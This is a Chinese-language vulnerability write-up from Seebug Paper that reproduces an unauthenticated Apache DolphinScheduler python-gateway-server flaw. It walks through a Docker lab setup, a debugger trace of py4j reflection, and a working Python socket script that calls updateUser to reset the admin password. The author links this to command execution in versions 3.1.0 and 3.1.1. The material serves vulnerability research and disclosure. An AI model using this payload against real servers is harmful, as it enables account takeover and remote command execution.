作者:标准云
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]
看到了师傅的这篇文章《记一次Apache某项目的漏洞复现与挖掘》 我觉得漏洞的挖掘以及漏洞的利用特别有意思,于是我也想自己进行复现分析。
Apache DolphinScheduler,python-gateway-server 在默认情况下启动没有进行身份校验,监听服务在 25333 端口,python-gateway-server 会接收请求并去调用 PythonGateway.java
中的方法,在一些版本中存在修改用户信息的函数,可以实现未授权修改用户信息并登录。结合 Apache DolphinScheduler 后台可以命令执行,最后实现未授权命令执行。
利用 docker 来进行环境的搭建操作
https://dolphinscheduler.apache.org/en-us/docs/2.0.5/guide/installation/docker
漏洞的出现原因是因为 python-gateway-server
,所以我们需要修改一下 docker-compose.yml
, 文件将服务启动,端口映射出来。
dolphinscheduler-PythonGatewayServer:
image: apache/dolphinscheduler:2.0.5
command: python-gateway-server
ports:
- 25333:25333
environment:
TZ: Asia/Shanghai
env_file: config.env.sh
healthcheck:
test: ["CMD", "/root/checkpoint.sh", "PythonGatewayServer"]
interval: 30s
timeout: 5s
retries: 3
depends_on:
- dolphinscheduler-postgresql
- dolphinscheduler-zookeeper
volumes:
- dolphinscheduler-worker-data:/tmp/dolphinscheduler
- dolphinscheduler-logs:/opt/dolphinscheduler/logs
- dolphinscheduler-shared-local:/opt/soft
- dolphinscheduler-resource-local:/dolphinscheduler
restart: unless-stopped
networks:
- dolphinscheduler
http://192.168.184.1:12345/dolphinscheduler/doc.html?language=zh_CN&lang=cn 接口文档
发送请求需要安装依赖库apache-dolphinscheduler
。
python -m pip install apache-dolphinscheduler==3.0.0b2
https://dolphinscheduler.apache.org/python/main/start.html
安装成功后发现发送出现问题:
在测试的时候发现不知道是因为安装 apache-dolphinscheduler 的版本的问题,还是搭建环境的问题,导致运行时出现的错误并不相同。
为了实现利用,对不同 apache-dolphinscheduler 的版本测试。
在环境中安装了多个python 库的版本,如何在运行时指定版本。
在Python中,你可以使用虚拟环境(virtual environment)来管理不同库的版本。虚拟环境可以让你在同一台计算机上管理多个独立的Python环境,每个环境可以有自己的库和版本。
[+] 安装虚拟环境管理工具(如果尚未安装):
pip install virtualenv
[+] 创建虚拟环境:
virtualenv myenv
[+] 激活虚拟环境:
myenv\Scripts\activate
[+] 安装特定版本的库:
pip install package_name==x.x.x
最后发现应该是因为我利用 docker 启动的 python-gateway-server 存在一定的问题。因为是多服务器启动,导致调试不是很方便,所以还是采用作者搭建的环境方式。
docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d apache/dolphinscheduler-standalone-server:3.0.0-beta-1
实在是复现不出来出现各种各样的问题,于是现在还是调试着看。
-docker exec -it dolphinscheduler-standalone-server /bin/bash -c "cat /opt/dolphinscheduler/bin/start.sh" #
查看启动文件
- docker cp dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh start.sh #
将启动文件拷贝出来
- 将启动文件的JAVA_OPTS
进行修改
JAVA_OPTS=${JAVA_OPTS:-"-server -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
替换为
JAVA_OPTS=${JAVA_OPTS:-"-server -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
docker cp start.sh dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh #
将修改后的文件复制进去 docker exec -it dolphinscheduler-standalone-server /bin/bash -c "chmod -R 777 /opt/dolphinscheduler/bin/start.sh" #
赋予权限 docker restart dolphinscheduler-standalone-server #
重启容器启动调试操作,运行 python tutorial.py
进行代码分析。
抓取数据流量,大概得到发送的数据包以及返回的相对应的信息,添加断点进行调试分析。
py4j.GatewayConnection#run
在这个地方我们可以看到,无论是有没有认证都会执行 execute。
py4j.commands.CallCommand#execute
py4j.commands.AbstractCommand#invokeMethod
py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)
py4j.reflection.ReflectionEngine#getMethod(java.lang.Object, java.lang.String, java.lang.Object[])
py4j.reflection.ReflectionEngine#getMethod(java.lang.Class<>, java.lang.String, java.lang.Class<>[])
这个地方应该是比较重要的部分,会依据 clazz name parametes 来控制说、类名、函数名、参数内容 (ps 这也是为什么 2.0.5 无法利用成功的原因,根本没有class org.apache.dolphinscheduler.api.python.PythonGateway
)。
getMethod:297, ReflectionEngine (py4j.reflection)
getMethod:326, ReflectionEngine (py4j.reflection)
invoke:274, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)
到此也正好对应了报错的调用链,原因是 getCodeAndVersion
仅仅有两个参数,传三个参数对不上了。
org.apache.dolphinscheduler.api.python.PythonGateway#getCodeAndVersion
修改传参参数,最后的调用栈。
getCodeAndVersion:170, PythonGateway (org.apache.dolphinscheduler.api.python)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:244, MethodInvoker (py4j.reflection)
invoke:357, ReflectionEngine (py4j.reflection)
invoke:282, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)
此时我们可以未授权的调用 PythonGateway
中的任意方法,为了造成更大危害,我们依次查看各个版本的 src/main/java/org/apache/dolphinscheduler/api/python/PythonGateway.java
,2.0.X 版本中并不存在这个文件。
3.1.0 中 PythonGateway
引入了方法 updateUser
3.1.2 中就引入了启动时的身份校验
目前可以通过updateUser
来更新用户信息,从而实现登录最后后台命令执行仅适用于版本 3.1.0、 3.1.1。
创建环境并利用,发送数据包前。
import socket
client = socket.socket()
client.connect(('192.168.184.1',25333))#Destination ip address and port number
data = '''c
t
updateUser
sadmin
sdolphinscheduler1234
[email protected]
s18888888888
stest
stest
i1
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())
发送数据包后
https://github.com/apache/dolphinscheduler/compare/3.0.0-beta-1...3.2.0
ps:当然可能猜测的也是存在问题的~
对传入参数的解析
第一行字符 c 作为发送数据包的第一个字段(固定);
第二行字符 t 作为触发类 (存在 t、GATEWAY_SERVER、j 三个选择);
第三行字符串作为请求类的函数;
第四行字符串~最后一行字符串 依次为请求函数的字段(每个字符串的第一个字符代表了参数类型);
最后一行字符 e 作为发送数据包的最后一个字段(固定);
截取一些代码片段作为佐证
py4j/commands/CallCommand.java
py4j.commands.CallCommand#execute
依次获取第二行字符作为 targetObjectId
,第三行字符 作为 methodName
,第四行字符~
, 最后一行字符作为arguments
对 arguments
调用 getArguments
进行处理。
py4j.commands.AbstractCommand#getArguments
在函数中会依次调用 Protocol.getObject
对每一行的字符串进行处理。
py4j.Protocol#getObject
会根据每一行的第一个字符来进行判断参数类型。
py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)
会调用 Object targetObject = getObjectFromId(targetObjectId);
,来根据第二行字符targetObjectId
来查询的类名
有三个值可供选择
py4j.Protocol#isEnd
函数中标明 e 作为发送数据包的最后一个字段。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3096/